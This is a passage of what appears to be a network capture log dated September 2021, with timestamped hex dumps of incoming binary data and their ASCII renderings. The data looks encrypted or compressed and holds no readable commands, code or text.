wF^"}r@F0v#l7I[^gMtKb6r3K'YETnBZ%EF^i^)~'c(@Di lm34
2021-09-27 18:33:32 UTC	1408	IN	Data Raw: 02 da ce f6 e3 52 fe 29 a8 5a 9c 4a cc 30 7e 81 7d 72 d8 cf 40 e4 6a 1c 82 0c 69 b2 b6 f8 4c 2f 76 6a 07 0d 49 a7 28 36 cc b0 6d 4e 19 02 41 e9 02 ca 9b c1 95 bd 78 e6 ef 84 01 d0 01 cb d1 c3 30 1f 78 25 15 a0 cd 60 ac 63 32 3e 5a 5d 7e aa 1e c9 aa a1 32 88 9a d0 ea 07 a9 c7 d9 a7 14 7e a0 b9 f9 2a 47 18 a9 dc bd 0c 88 5d da 2d 4c 54 67 fe a3 3d 53 f2 f7 2d 63 db 04 30 c6 be 91 4a b4 fd f2 3c bd 58 da 5b 46 3a 12 d2 d9 9f 33 c0 d7 f6 a1 cc 07 59 e4 14 0e 05 b9 c1 9d 69 c9 7d 31 32 58 cd 70 d8 ab e1 27 1e b9 07 e1 6c e2 90 e0 65 c7 df e6 19 69 12 0e 18 e3 3b 3b 10 67 e5 e7 83 0b a0 82 7d 24 4f 03 0c 6f 93 fc 7a b4 2b bd c8 24 df d5 9e ca 54 70 dc c4 75 7b 69 c9 2d 96 7a 5d 2a 25 eb 7f 53 51 8c db 21 d8 c5 3b 97 4e 59 11 91 59 9f ef 6c 36 97 0f 0f ae e3 63 Data Ascii: R)ZJ0~}r@jiL/vjI(6mNAx0x%`c2>Z]~2~G]-LTg=S-c0J<X[F:3Yi}12Xp'lei;;g}$Ooz+$Tpu{i-z]%SQ!;NYYl6c
2021-09-27 18:33:32 UTC	1424	IN	Data Raw: b9 fc ff ef 6c 0a 56 d7 a0 b9 fd 51 c1 fe fe 2b a1 99 3e 5a 9e 43 b6 f8 91 b0 10 1a 81 4b 71 59 5c 2a 3e 7e b0 e6 e7 36 ce a5 f6 51 83 7f 89 52 be 66 78 6d 5c 87 c6 2f ae 4c 28 ab 1e f3 52 1f 78 20 99 bd 5b ad fe 0c ae e5 68 87 03 58 bd 48 f8 1d 02 da f6 51 83 7f 89 52 d4 2b 6e 45 fb 85 c9 a4 48 57 43 6b b8 7e 28 98 db 92 ae bf 9a 20 36 0b ed 8c 51 09 5f 6d 65 22 57 a0 49 f5 93 a5 86 8b 1f 98 74 dd 5e 8e 01 08 6e c1 16 fa 1d db d7 c0 d7 1a fb a9 57 d1 b7 29 23 99 b5 f8 2e b0 62 47 75 a3 46 b6 f0 f5 18 1f 54 0c b7 a9 8a 42 a4 db 97 b1 ef 84 00 2d b7 8b 95 b0 2d 44 62 c4 9c 21 d7 bd 1d ff 79 ed 80 b9 8f 5e fa 46 80 12 0e 1c c0 1b 6f 93 a7 d7 4b f8 7a 6b 81 80 bc 01 48 37 b7 cc d8 dd d0 de 82 a7 8d 59 28 d9 b0 96 1b 6e cf 85 4c 4f 03 4c 7e a4 d0 31 47 b5 72 Data Ascii: lVQ+>ZCKqY\*>~6QRfxm\/L(Rx [hXHQR+nEHWCk~( 6Q_me"WIt^nW)#.bGuFTB--Db!y^FoKzkH7Y(nLOL~1Gr
2021-09-27 18:33:32 UTC	1440	IN	Data Raw: 97 ba f1 89 8f 9d bd 94 97 32 2a 5e 67 b9 fd 5a 9c eb 93 a7 93 f3 76 f4 9b 7c 7b 69 31 30 11 1a 14 e9 35 33 2e 41 ac 24 2c 7d 8d 89 04 77 60 27 a7 97 3a 61 6c 42 9b 89 c9 3c 2a dc 52 c5 17 0d ee 32 7d f9 dc 84 fc 60 ef 0f ba 0e ef f0 07 14 8e 98 55 ca 20 45 bd 5f e9 2d ec a1 8f 14 35 f6 10 90 e0 65 c7 d9 58 55 fa 2f f5 18 29 23 41 69 b0 e6 b9 51 98 f0 5c fd 59 e6 9a f0 ef 42 ef 57 9c 61 71 dc 28 db 41 aa b6 4b b9 89 59 90 f8 91 50 0d 33 93 37 09 00 9b e5 6c c9 29 8d 71 93 2c f8 91 ab 95 6c 4d 00 39 cd 5d cd 33 84 37 4a 62 3a 96 a5 c8 4c 48 22 e8 fc af 2c a4 82 cd 38 39 f6 6b 7c da a7 d6 33 40 a0 bb 7f 03 a4 96 a5 05 da 19 0a 2d 39 34 c9 f0 8c 41 b4 25 0e 24 2c 7d 8d 89 04 ca de e3 37 f1 19 42 3f 83 7f 8a 67 01 a0 7e b7 75 8c 9d bf 11 98 25 76 d5 15 f3 9c Data Ascii: 2^gZv\|{i1053.A$,}w`':alB<R2}`U E_-5eXU/)#AiQ\YBWaq(AKYP37l)q,lM9]37Jb:LH",89k\|3@-94A%$,}7B?g~u%v
2021-09-27 18:33:32 UTC	1446	IN	Data Raw: a4 55 6d 1c 4b c1 01 c3 d9 64 49 0a 2a c3 f2 0b eb 1b d6 43 e1 e8 a4 12 78 f1 02 cf 4b aa 1c 32 29 23 5a 9d 40 a0 95 ff 43 e6 ef 84 01 f2 ca 20 26 ca ff e9 ff bc 01 73 25 ca e9 4d e8 7f b4 5d da 2d 4a 68 28 21 1e 6d 1c 82 f9 17 29 ea 71 42 ef 81 00 91 e0 db 43 6d 8f 9e be 71 86 81 94 29 a8 5a 9f 7e 32 b5 cf 42 65 28 5e 27 b7 b8 0b 00 b5 72 df d5 5e ff 20 15 f3 72 1f 13 7b 10 67 6a 92 76 0d ee 57 d7 c0 93 ab 23 c4 78 6d 17 23 98 33 06 dc 92 ae 97 4e c1 e6 07 84 30 c6 6b c4 97 c4 9c 60 d4 43 f6 60 ad e6 ef 84 8c ae e8 f0 41 69 42 64 b6 af 78 19 91 29 ac 25 15 73 2e f4 94 d6 34 59 0c 0a dd 1a 1b 12 e4 61 2b eb f0 1a 71 95 29 57 eb 2a 1f 78 b6 a7 92 a8 0a 22 e8 40 50 6e da 91 29 a8 5a 9c 3e 32 3e 5a 9c 3e 32 3e 30 58 ec ff 53 70 50 e1 88 f2 f3 78 d5 ae ab 6a Data Ascii: UmKdICxK2)#Z@C &s%M]-Jh(!m)qBCmq)Z~2Be(^'r^ r{gjvW#xm#3N0k`C`AiBdx)%s.4Ya+q)Wx"@Pn)Z>2>Z>2>0XSpPxj
2021-09-27 18:33:32 UTC	1456	IN	Data Raw: f7 4e 69 81 f7 40 d4 90 20 52 06 17 20 f7 13 28 78 b9 fd 59 40 45 03 48 33 4b 06 91 29 44 3c db 47 0f 71 de c7 64 3d 24 59 90 24 4c f7 64 f3 05 bd 41 6f af 17 3f fa f7 c2 53 86 f7 67 c6 79 80 05 14 7e f4 10 ec ff 11 3e a5 2d 49 1c e1 9f 81 f7 98 33 c0 92 9f 94 c5 5a 13 25 92 7d 59 07 16 71 a9 99 3e 53 e6 e3 17 56 88 4d 74 20 57 9c 36 32 3f cd 4b 7a ff eb f0 fb e4 61 0f 14 0d 5e a7 d7 4b 8d 71 31 fb 2a 36 07 dd a5 97 3a a9 57 17 7d 72 5f c2 64 f3 05 6d 38 5c e1 59 7f 25 15 64 e4 61 d3 14 7e e4 aa e8 fb b5 b9 89 73 1f 1b b2 0e 8f df 65 24 4e 0a 21 c0 18 ff ab e1 d1 d4 3f 98 b8 93 d2 af a8 60 c8 f5 18 e3 35 4e 7d 27 28 36 07 e0 ef 90 60 27 5f 6f db 7f 03 28 64 8d 85 d7 c0 6f 05 da c6 e2 6e 32 7b e6 9f b1 2f 33 c0 93 a6 96 c6 5e e2 6e c2 e8 df 42 24 97 4d ba Data Ascii: Ni@ R (xY@EH3K)D<Gqd=$Y$LdAo?Sgy~>-I3Z%}Yq>SVMt W62?Kza^Kq1*6:W}r_dm8\Y%da~se$N!?`5N}'(6`'_o(don2{/3^nB$M
2021-09-27 18:33:32 UTC	1472	IN	Data Raw: 56 8a ba 6d 8a 9a c8 2c f5 18 a9 8f 9d bf 11 6e ce b5 f9 96 2e 34 42 a7 8c 48 2c df 0f 96 26 aa 9d 34 95 27 a2 53 43 65 3c 23 59 9f 3b 2c 91 1a ec 3e d1 2c 79 e5 78 a8 d7 5e d2 be 96 68 36 4f 74 57 09 2e e4 d1 5a 9e 02 77 94 3c e1 6c d5 05 72 be 8e 58 24 f0 02 7d 7d aa d5 bc 01 1f c6 f1 19 42 3f 83 df 04 cf 37 d1 32 d6 0f e2 e2 91 62 a9 9c cb 26 67 b6 72 ad e7 55 56 9e 65 3c e0 ef 9e 35 1e 89 70 2c ed 54 67 fa 94 ff 20 12 f1 96 17 95 6b cc b7 8b 96 7b 2a dc d7 4b e1 21 7d b5 72 df 2a 2b 89 cb 24 38 48 c5 10 fd d2 64 32 3f f9 d8 45 ea 48 71 be 4e b2 76 94 e9 f3 71 a9 65 11 86 58 99 b5 f8 ae ef 0f 79 1d 8a 09 1b 70 db 12 7a cf 33 48 72 68 c2 73 9a 0b 64 c3 da 57 e8 08 60 e7 99 e5 6c c9 28 92 a2 c0 83 f5 91 ba c5 e9 7e b2 f9 9d 0c e0 0b bb 34 46 1a 0c fa 5f Data Ascii: Vm,n.4BH,&4'SCe<#Y;,>,yx^h6OtW.Zw<lrX$}}B?72b&grUVe<5p,Tg k{K!}r+$8Hd2?EHqNvqeXypz3HrhsdW`l(~4F_
2021-09-27 18:33:32 UTC	1478	IN	Data Raw: 76 a6 55 12 f1 39 5c 5c b3 7f 88 f0 aa e3 8f 9d bf 10 3c d0 31 6c 42 9b 89 cc ac 1f 4b 7f 3c 5e ff 20 36 33 00 40 5f 2a 2b 7d f4 9b e0 94 29 a8 5a 9f 70 6d cf c7 af 12 35 46 39 98 60 ac 23 14 f5 9b 78 bb 5c fd 59 d3 c2 67 c1 c7 00 2d e1 63 33 70 99 dd 09 5f 6c 7f 78 e6 85 97 c4 9b 81 83 7c 3f 67 d5 15 80 93 b9 77 a4 d5 b9 fd 22 35 2d 71 de f2 78 f8 21 9d e2 6e c2 ed 0b 36 14 19 0a 88 0d 25 13 73 4e 43 bb e2 6e 90 7f 77 64 b4 46 f8 e5 6c c9 2b 99 33 4b 2a a1 03 c7 e2 6e 9e b1 aa d3 11 62 f4 9b ea e8 b1 64 e6 fb e4 61 7f 6f 15 f3 df 79 1c 09 5b 20 10 de 65 bb 61 df d5 e3 c2 3d 7d 82 83 0d 6d 39 45 bc dc 27 67 be 62 3a 04 0c b9 c2 ab 22 4c 7c f0 05 79 fb 5e a7 d7 49 d9 cc 3b 03 c7 ee 89 57 9c 6c dc a3 cd 33 c0 91 88 b5 7a 8d ca 6b cc 73 01 16 a5 3c 23 d7 0c Data Ascii: vU9\\<1lBK<^ 63@_+})Zpm5F9`#x\Yg-c3p_lx\|?gw"5-qx!n6%sNCnwdFl+3Knbdaoy[ ea=}m9E'gb:"L\|y^I;Wl3zks<#
2021-09-27 18:33:32 UTC	1494	IN	Data Raw: 6f 56 e0 e0 ed fa 9f c4 d8 41 92 30 b2 e2 26 e1 50 16 39 93 fe 71 0e e7 71 55 9e d3 be 9e ca 57 52 00 c5 1f 90 a0 d4 3c 46 e5 90 65 b3 17 96 d1 c0 73 2c c6 61 d0 47 e0 08 31 eb 7b 6d 3f b3 1c 39 8e 90 dc 92 ae 38 b4 33 4b fa 5c c5 45 83 90 a9 b8 d9 16 a0 86 3b d3 41 ac b1 07 ae 3d 53 f1 c4 16 ca eb f0 fb e4 61 d0 47 fc a7 3f 8d 61 6a 4f 53 5f 7b 25 d5 45 17 20 99 7d f9 dc 97 3a ad a3 46 3f 91 e9 75 a3 90 ab 2b 26 65 6a 4f ff fe a3 ec 74 b8 b1 10 88 0d 26 47 cd 5b 75 96 1d 73 1f 19 7e 09 55 ff 43 b6 7b 6d 3f 06 3c 66 fb 2a d6 8d 12 f1 89 8f 1b 02 c5 5f 7a ab 17 81 39 45 eb 7b 6d e5 e8 fb 61 ab e1 63 45 1c e1 53 4d 74 20 57 9c 3d d8 cd 8f 19 8e 1b b6 03 cf cb 6b cc b0 6d 4c b5 7c ff af bb 47 06 28 63 b8 80 f9 9c eb ff a4 40 43 a6 a3 31 fe a3 d7 3e 5a c9 51 Data Ascii: oVA0&P9qqUWR<Fes,aG1{m?983K\E;A=SaG?ajOS_{%E }:F?u+&ejOt&G[us~UC{m?<f*_z9E{macESMt W=kmL\|G(c@C1>ZQ
2021-09-27 18:33:32 UTC	1510	IN	Data Raw: ae 1c 67 54 c7 70 d8 cd 70 27 ef 84 40 af 3a 51 4b 15 2c 2f f5 7c bc 89 98 83 92 25 1b 86 8c 16 fe 28 65 cc c0 93 e4 1a 64 b6 38 bf 95 ac 20 e1 3f dd 1a f5 fb a1 8a e2 05 51 4b 15 c0 93 e4 33 e0 e0 a3 20 96 2e 77 b2 5a 9e 02 26 15 78 a5 25 12 f1 ca 72 60 ac 20 fe e8 f4 53 ae b0 6d 0f cd 0b 60 ef 22 23 99 f6 b0 cd 33 83 25 e2 e5 2f 29 44 69 01 e9 ca ab a2 a5 3a 51 4b 5e 43 e6 ac f4 34 42 27 2c 73 5a dd 81 0c e2 a6 86 88 0d 26 f9 10 ec be 59 d7 4b b9 8a a1 c9 6a 69 e2 e5 2f d6 94 29 eb 1a 80 f9 df b0 6d 4c 3f 82 de db 17 2f 9a 38 0f 34 d6 c8 e4 b8 b0 6d 0f e1 0f 69 01 c0 d3 41 a1 86 fc 24 5f 65 c8 a7 94 fe 50 86 4b 21 99 b5 ba 5f c6 a2 08 89 3f dd 1a e0 3c 56 d7 ae f8 1a 47 2f 32 3e 19 6f 2c 2f f7 22 3f dd 18 49 09 5b 61 98 37 ca ea 42 44 69 01 15 c8 a7 94 Data Ascii: gTpp'@:QK,/\|%(ed8 ?QK3 .wZ&x%r` Sm`"#3%/)Di:QK^C4B',sZ&YKji/)mL?/84miA$_ePK!_?<VG/2>o,/"?I[a7BDi
2021-09-27 18:33:32 UTC	1526	IN	Data Raw: c9 15 28 ae 62 c5 23 c9 13 b0 36 19 de 86 52 d2 9b be 38 43 2c 5a d9 04 ce 91 a6 93 a7 e9 36 81 83 7f 99 be 66 7d f9 4f 88 18 8b 54 0b 9f 3b 2d 0a 35 3a ae 86 15 90 e6 64 65 b3 d7 3f dd 67 45 6b b8 7f 99 99 5d e3 ec 2e bf 5e 90 5f d1 17 79 4c 00 4e ca 73 d1 c3 e5 82 cf df 98 b8 24 69 0d 26 25 ba d9 c6 4f 30 38 68 c4 5b 21 ab a4 96 26 54 8f a3 b0 ed 8e 6f bd 89 97 c5 1f ae 10 6c 36 b8 6e a4 b8 46 e5 bf 9a 1f 7b 85 0e 18 00 2b da 3a 97 3a 82 75 5e 83 84 c5 1f ae 2d 74 d4 b7 fe 16 87 0a d3 35 28 a3 d2 cb ee 86 f7 67 c2 ae 80 06 2b 43 7d 9a fe a3 1e 86 4f 5e db af c1 59 e3 ec 02 35 2b 31 53 cb a5 d6 ec a1 42 a6 20 5d 66 bf fa 1b a2 17 f4 16 11 6f 74 d8 0b 60 92 65 fe d7 b4 98 f8 f2 ca 20 c1 9d ac 17 bd 88 f2 f3 71 2d 5a 61 d0 54 52 63 f5 18 2c a4 7b 19 81 42 Data Ascii: (b#6R8C,Z6f}OT;-5:de?gEk].^_yLNs$i&%O08h[!&Tol6nF{+::u^-t5(g+C}O^Y5+1SB ]fot`e q-ZaTRc,{B
2021-09-27 18:33:32 UTC	1542	IN	Data Raw: 91 a2 09 ac 73 5a dc 20 12 f1 cb b2 2a 59 62 d4 a8 2e 5b 68 af 9e 34 03 47 f0 03 4c 7c f0 07 d6 c8 a7 d7 4b fa 1f 91 a2 09 ad 0a dd 1b 70 0f 69 00 59 43 92 4b 9f a9 b2 15 11 02 8b 9d bf 12 f1 89 8f 9d 3f dd 59 1b 86 08 d9 4e 7e f4 10 8c e9 76 e1 03 4c 3e fe 70 d3 4c 0f 1c 67 58 d4 c6 a2 5b 20 50 24 24 1c 4b 5f 82 8b fa 7a a6 25 eb 0b 0f 39 9a 32 39 ce f7 3d 24 8c 63 5d 40 12 81 09 2b c2 c8 f3 84 03 0e 18 b3 f4 52 75 cf 37 88 fc f8 1a 46 89 57 17 3f 2c 83 80 bb fa f7 98 72 62 99 b5 b8 36 bb 07 17 ca af ea b9 b8 a0 46 2f 01 a4 50 c7 92 d1 3c 14 07 36 47 b2 83 44 69 03 15 b4 76 a0 f0 0b 60 ed da 62 b1 ad 18 a3 cd 73 64 46 6e 8e 25 4a 77 24 5d 51 08 99 f4 90 20 53 be ca ab a1 88 75 5f 6b fd ae 68 82 5f 56 94 29 a8 22 17 3f 78 0a dd 59 1b 86 08 d9 4f 03 4c 7c Data Ascii: sZ *Yb.[h4GL\|KpiYCK?YN~vL>pLgX[ P$$K_z%929=$c]@+Ru7FW?,rb6F/P<6GDiv`bsdFn%Jw$]Q Su_kh_V)"?xYOL\|
2021-09-27 18:33:32 UTC	1558	IN	Data Raw: 91 d6 a1 a7 b8 cd 47 95 eb 7b 6d 4c 73 a5 2d 4d 00 c5 17 bf 4c 99 3e 01 16 a5 11 e5 6d ff 54 71 5e be 66 eb 53 4b 77 64 f4 76 99 dd 57 65 70 ed 03 4c 7c f0 06 f0 41 25 c0 36 e2 40 fa ef f1 04 db 2a a7 81 6c 8f 14 f5 d6 0b 14 e0 1f 91 c8 ab a7 5e a7 92 e6 9b af 15 78 8c 1e 4b 73 9a 0b 64 f0 8e db 67 75 2b 6d c9 d6 36 55 01 a0 76 8b 94 43 b6 8b d1 b1 ef ee 59 69 6a fa 9c 5d 51 fe ad 82 8b 86 3c 56 d6 37 4b 21 a6 3b 38 94 a2 4b bf d2 33 d5 b9 55 44 69 07 95 20 b1 10 13 88 0f 81 7a 5b 20 57 d4 4f 16 71 55 50 e0 88 b4 55 67 3d d8 88 ce 17 40 df 56 e9 fd aa 2b 26 76 b7 ad 16 3e d9 a3 46 3b d3 18 be c2 c8 f4 59 5f 2a 6b 28 40 31 f2 7e 9b ce dc b9 6d 01 3c 33 87 8a 11 6e c1 e9 89 70 2c 2f be 4c 21 70 58 c2 c6 fd 65 b3 f5 20 ed 7e ff 46 86 58 b1 a9 51 08 9b df fa Data Ascii: G{mLs-ML>mTq^fSKwdvWepL\|A%6@l^xKsdgu+m6UvCYij]Q<V7K!;8K3UDi z[ WOqUPUg=@V+&v>F;Y_k(@1~m<3np,/L!pXe ~FXQ
2021-09-27 18:33:32 UTC	1574	IN	Data Raw: dd d2 ef 7b 92 ed d2 57 0f 29 23 95 ec 76 e9 33 4b c8 d3 41 ea 85 06 2b 53 41 b8 68 90 c0 d6 43 3e d1 c3 e4 a6 d8 25 ce 55 57 9c 6d b4 33 4b fa 75 45 9f c4 65 45 68 30 b2 8d 66 5b bc 62 4e 7f 3b 72 30 69 a2 0e 6c 99 49 b0 e6 cf be ea c8 58 fd a6 17 5b d2 d7 1e cd 00 25 db dd a6 aa be 31 53 f2 f2 47 6c 21 c5 f7 dd d2 bf 11 6e 3c d2 b0 6d b0 10 6f af 14 b9 ad 0e b7 1a 41 69 42 0e e7 1b d6 cc f0 8c 1a 41 69 12 f9 dc 5c af af 61 2f 49 f5 f1 e1 43 0d 9a c6 ef a5 3a 01 ac 26 aa 5e cd 31 d1 6c 19 c4 10 38 09 d2 40 a0 8e e2 0d 9a c7 f2 72 30 2d f2 87 82 bb 8c c6 e7 f8 e5 93 6e c2 70 cb 6e 45 e7 31 30 31 fe a3 9a 4c 7c e4 92 a6 59 5e 2c 4f 76 e0 c6 da 51 6e c2 dd d2 40 a1 84 52 63 63 d7 0e 6c 99 4a 88 c4 aa b6 84 fc f2 b0 85 91 e2 6e c6 e7 fa e0 1e 40 fc cc e0 04 Data Ascii: {W)#v3KA+SAhC>%UWm3KuEeEh0f[bN;r0ilIX[%1SGl!n<moAiBAi\a/IC:&^1l8@r0-npnE101L\|Y^,OvQn@RcclJn@
2021-09-27 18:33:32 UTC	1590	IN	Data Raw: e5 18 24 98 f5 18 00 3b 59 02 22 47 f8 5c 2e 14 bb 8e 7d 82 75 85 0e 18 01 13 9d 57 e7 b5 7a e3 13 a1 4d a9 8f 9d ff 26 e2 13 06 9d fd a4 62 b4 b6 ba e3 a7 e6 2d 3b 02 43 26 aa 2c 4a 10 8d f7 f9 d1 59 78 94 5c cc c3 7f 25 f6 66 ce c7 66 ef 91 a2 0a 34 16 05 ae 68 c1 16 bb e1 eb 7b 2d 8c e6 ef c4 a3 19 81 3c 17 09 5b 60 ed 00 c5 5f 6b 3b d3 01 09 23 99 f5 d2 d3 41 a3 28 42 64 b6 7b 49 f5 d2 59 3b d3 00 23 81 7c f0 07 56 94 29 a8 5a 9e 41 e2 e5 6c c9 29 a8 5a 9e 41 e2 e5 6c c9 29 a8 1b 60 b4 76 a1 44 1b e3 00 a4 3e 3b 9e 24 7f 05 24 73 29 cd 61 7b 7d 72 99 5d c1 e9 89 8f 9c 3d 99 53 85 85 c5 21 65 38 0c dc 03 4c 3c 17 09 5b 60 ed 00 c5 5f 6b 3b d3 01 09 23 99 f5 d2 d3 41 a2 5b 80 f9 9c 3d fc 24 5d c0 2b ad a7 32 8e 1b 86 08 d9 4f 03 4c 7c f0 07 56 94 29 a8 Data Ascii: $;Y"G\.}uWzM&b-;C&,JYx\%ff4h{-<[`_k;#A(Bd{IY;#\|V)ZAl)ZAl)`vD>;$$s)a{}r]=S!e8L<[`_k;#A[=$]+2OL\|V)
2021-09-27 18:33:32 UTC	1606	IN	Data Raw: 67 5b 20 53 aa 06 d4 82 59 52 8b d5 e1 58 99 f4 b7 d2 bf 50 21 88 0d 24 bb 09 5b 61 88 08 d9 0e 40 2c 2f f7 3e ad e6 ae ce 58 99 f4 b6 a7 d7 0a 7a 98 33 81 db 27 a3 8c b0 a1 c9 68 66 77 64 f7 3e e0 e0 a1 6f f8 1a 45 4d 69 42 25 38 c8 a7 96 88 75 5f 6b e0 93 a7 96 88 16 7f 53 f2 0c e2 e4 b5 7e fb b4 8e 98 4c 9c be 71 aa a0 8a f9 60 e9 fd 86 81 18 cf c8 c3 1a 45 4c f5 fb f4 d0 89 73 1f 19 79 3d 51 da e1 9b 7e 77 88 86 5d e6 b2 29 57 e8 04 b0 85 86 83 3a 25 5e 23 66 44 b6 b5 11 6d c7 db ab 11 ff 43 e5 e7 9f b0 ad 62 4e 7e 2b 4d 17 7e 7f 77 64 b7 29 40 5c 28 21 7e f4 10 e8 c8 4f 03 4c 7c f1 33 c3 91 a2 4b fa 23 71 56 1f 97 c2 9b 96 d0 be 71 aa ba 84 eb 78 6d 77 8f 61 ec 7e fc 79 e3 34 ae e3 32 ae ab bc d3 1a 04 cf 33 ad 0e 1b c6 29 a0 03 c7 f7 37 c5 e3 32 b5 Data Ascii: g[ SYRXP!$[a@,/>Xz3'hfwd>oEMiB%8u_kS~Lq`ELsy=Q~w])W:%^#fDmCbN~+M~wd)@\(!~OL\|3K#qVqxmwa~y423)72
2021-09-27 18:33:32 UTC	1622	IN	Data Raw: 92 e6 10 13 8b 71 bd f4 55 99 b5 b8 e6 98 5b 30 b0 09 02 93 fd 66 88 69 11 91 ba 0e 1f d5 cd e5 e7 8d d4 48 24 54 de 24 14 7e 0c a7 5c 70 58 61 a4 48 22 e8 fc af 12 b4 fd 75 d4 cf 60 53 35 4e 79 2d 39 1d 00 39 83 0d 45 62 d5 76 1e 69 42 25 f8 6a ac 36 87 b9 fd 59 e3 1a ec 05 14 7e 90 54 7c cb 0e 6e aa 6e 31 df 5e e6 89 02 a2 1e cd 00 3d 9d 36 9d 34 b3 7f 8b c9 a0 9d 8c 41 b4 25 66 7f f4 fc af bf d1 b7 3d 85 dc 8e 40 01 b8 6b b8 7e 14 23 70 10 13 8d 71 4d 17 81 39 43 e6 ae 0d 81 14 e5 e5 08 80 a0 1c c9 1a f4 fb 5e 59 fb 52 62 72 27 5c 5a 0b 88 f5 d6 43 e6 ae 0d a2 23 89 06 b0 34 1b dc 17 4e ad b7 01 40 d4 3b 96 a5 2e 61 a4 5c f0 f8 02 41 21 1e c3 91 5e f2 87 75 a1 20 43 0e 35 f6 db df a2 0e 6a 34 69 42 64 bb 1c e1 a0 cd c3 91 b0 92 35 4e 42 ef a4 d9 2b 9d Data Ascii: qU[0fiH$T$~\pXaH"u`S5Ny-99EbviB%j6Y~T\|nn1^=64A%f=@k~#pqM9C^YRbr'\ZC#4N@;.a\A!^u C5j4iBd5NB+
2021-09-27 18:33:32 UTC	1638	IN	Data Raw: a7 96 08 a8 df 7a 14 f5 93 a6 fc a3 c2 9c c5 9c 42 84 80 2e 37 ca 54 70 2c cd b2 a1 42 1f e5 93 a7 d7 4b 00 44 96 2e 34 42 86 89 5c 28 26 97 be 71 aa a5 dd b1 ef 0f 6f db 5c fd 2d 4a fc d6 43 b1 b9 51 f0 c3 99 59 90 75 5f 6a 49 36 1a e1 e8 af b4 29 58 72 27 5c 83 1c e0 23 66 44 4e 5f c2 6c 8c 9b ba c4 bb 19 e9 66 32 5a c7 7d 28 e6 dc 2f e3 98 cf 72 53 dd d2 70 58 93 4c 84 56 6b bb 42 ef 53 86 02 bf 91 a2 4b fa 22 07 15 f3 72 ad 6f a8 1f 19 82 15 80 bc 03 4e 0a 0d 66 7b d2 b0 7b e6 e1 16 04 cf 37 ca 51 89 b5 12 0e 18 cf 7c 18 28 ad 25 15 a6 56 94 d6 37 35 26 a0 9e ca be fb 5e a7 d7 4b 00 44 96 2e 34 42 86 89 5f a1 c1 55 99 d7 a0 b9 fd 59 98 db 92 ae bb 8c e2 a8 d1 c3 e5 46 85 6d 9b 31 4f 46 e3 1d 60 b6 0f a1 37 cc c4 98 1f 9a 4c 79 44 69 f4 1f 90 ab e2 6e Data Ascii: zB.7Tp,BKD.4B\(&qo\-JCQYu_jI6)Xr'\#fDN_lf2Z}(/rSpXLVkBSK"roNf{{7Q\|(%V75&^KD.4B_UYFm1OF`7LyDin
2021-09-27 18:33:32 UTC	1654	IN	Data Raw: a0 b9 6e f9 74 20 57 9c c1 53 84 f1 02 9d e9 25 61 d0 44 a5 16 7b 81 f7 cd f3 05 92 7e aa 01 12 a8 7e f0 8c bc ff 65 c7 42 23 66 44 fb bc 62 20 02 8a 9a 34 0a de ff a7 5c b7 ae 6b 96 a5 da 16 79 6c ed d4 d0 9e 45 e8 26 12 71 51 85 45 e8 34 41 22 14 32 89 80 a9 8e 1b 54 0c e2 e5 6c 31 be 86 cc 33 c4 b9 56 87 ae 6c ca 32 02 8a 9a 34 66 ff 20 42 36 95 9f 05 da 19 0a 22 24 da 5b 46 2e 68 b2 b2 f7 fe 60 aa 18 48 7c 0f 96 bc f7 70 f7 9c b6 a8 d1 68 8e 90 df a1 98 b1 07 9f f7 bc 8e 90 70 85 0e c3 1e 84 fc db 13 61 c7 74 9a b3 04 44 61 eb f8 1e 29 fc 37 ee 06 d7 d2 83 c0 18 f3 aa 1a 8f cd 61 fd 95 6f db 50 a2 17 f4 c8 2c d7 8f 1e 5a c8 f4 50 86 08 d9 4f 03 4c 7c fc e6 b2 97 3a 0a 83 df db 23 99 8d 1a f0 42 ef 70 96 a7 23 dc d4 c7 64 3d 2c 6a 4f d2 ca e5 6e 0d e6 Data Ascii: nt WS%aD{~~eB#fDb 4\kylE&qQE4A"2Tl13Vl24f B6"$[F.h`H\|phpatDa)7aoP,ZPOL\|:#Bp#d=,jOn
2021-09-27 18:33:32 UTC	1670	IN	Data Raw: 8e 9a 39 5e 64 37 ac 63 31 81 cd da 53 1e 71 55 10 d6 79 91 23 99 b4 cd 55 5b 33 49 93 e5 92 d2 26 21 95 ac 64 08 18 74 dc d7 4b 08 30 eb 48 73 5a 9d 78 80 f9 9c 3d 1f f6 e1 26 aa 5e a7 d7 8c 70 2b e8 7f 77 64 b6 bc ec 01 0d ee 26 5e 6e 4b 16 b7 75 a0 b9 ff 6d a4 b8 c5 92 29 dd a6 45 9e be 86 55 99 49 b0 e4 12 a4 d9 bb 4a fe 7e a7 3f 19 02 26 aa 0b 60 ec 70 d3 45 29 f5 ca f2 57 49 aa a3 88 bb 08 d8 30 7c 36 dc cf ea f0 42 ef 7c b5 22 ef f1 00 c5 15 ed da 3c d7 bb 04 0c 55 1d 7b 6e 37 3d 41 e2 e5 6d dc 6e 0f e2 15 53 ff a8 58 63 f2 0f ab 62 b2 0b b2 f7 49 7e f4 10 ed ed 71 3c a8 ad 7f 77 64 b6 1f 2e f5 18 b6 85 c8 10 e3 90 55 5a df a0 08 85 86 6e ce b5 f9 9d 06 da ac a3 48 3b 14 42 6b 25 e9 88 4b a6 6e a8 9d 08 d6 a4 22 16 01 cb 48 01 3f d1 c3 99 d3 39 bc Data Ascii: 9^d7c1SqUy#U[3I&!dtK0HsZx=&^p+wd&^nKum)EUIJ~?&`pE)WI0\|6B\|"<U{n7=AmnSXcbI~q<wd.UZnH;Bk%Kn"H?9
2021-09-27 18:33:32 UTC	1686	IN	Data Raw: c3 91 5e e2 6e c2 ed 80 bc fa 27 a6 6e 32 7b e6 ef c4 fb 3e 32 2e bd 68 99 ec a7 17 4e 7e 0b 9f b0 85 81 3c dd a5 97 3a 73 d3 25 ac 9c 59 1b c6 c4 05 39 9b 68 f3 72 9d 36 16 16 71 00 05 da 11 6e 8b e4 d2 1c 19 08 d9 0a ad de ce 3e 9a b3 37 97 e8 ad bd 52 d4 04 ba 85 7d 0f ea 00 80 70 d3 ca 53 48 f8 e5 93 45 ec 15 87 75 82 02 23 93 4c 6c 40 3b 8a 48 29 68 f3 8a 42 9b 46 2b 26 d9 12 7a cb a7 b3 c4 62 d5 46 2e 52 88 65 6d 8c 25 a7 a3 cd cb 53 8e e3 22 9e 41 a7 a7 eb da 2e 71 dc 80 af b9 fa db d7 a7 5c f6 85 46 35 9b e5 31 62 c4 46 eb 60 27 a5 39 31 44 ae 56 7c 37 41 e2 e5 6c c1 ac 60 25 98 b8 7e 7f 63 46 ab da d6 8e 90 3b a7 21 10 df d5 61 5b fb 24 c3 91 8f 76 1e f2 cb 4b 12 36 cc b0 